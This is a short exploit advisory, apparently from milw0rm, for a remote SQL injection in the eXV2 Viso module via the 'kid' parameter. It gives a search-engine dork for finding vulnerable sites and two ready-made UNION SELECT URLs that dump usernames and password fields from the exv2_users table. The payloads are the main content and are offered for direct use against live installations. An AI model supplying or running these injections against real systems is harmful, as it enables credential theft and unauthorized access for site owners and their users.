eXV2 Module Viso <= 2.0.4.3 (kid) Remote SQL Injection Vulnerability

########################################## # # Powered by eXV2 Viso 2.03 SQL Injection # ########################################## # ##AUTHOR : S@BUN # ####HOME : http://www.milw0rm.com/author/1334 # ####MAİL : hackturkiye.hackturkiye@gmail.com # ########################################### # # DORKS 1 : allinurl :"modules/viso" # ########################################### EXPLOIT 1 : modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass/**/from/**/exv2_users/*where%20exv2_admin%201 EXPLOIT 2 : modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass,pass/**/from/**/exv2_users/*where%20exv2_admin%201 ########################################### Viso 2.03 Submit date: 2006/8/10 Homepage: www.exv2.de Version : 2.03 ########################################### ##################S@BUN#################### ########################################### #####hackturkiye.hackturkiye@gmail.com##### ###########################################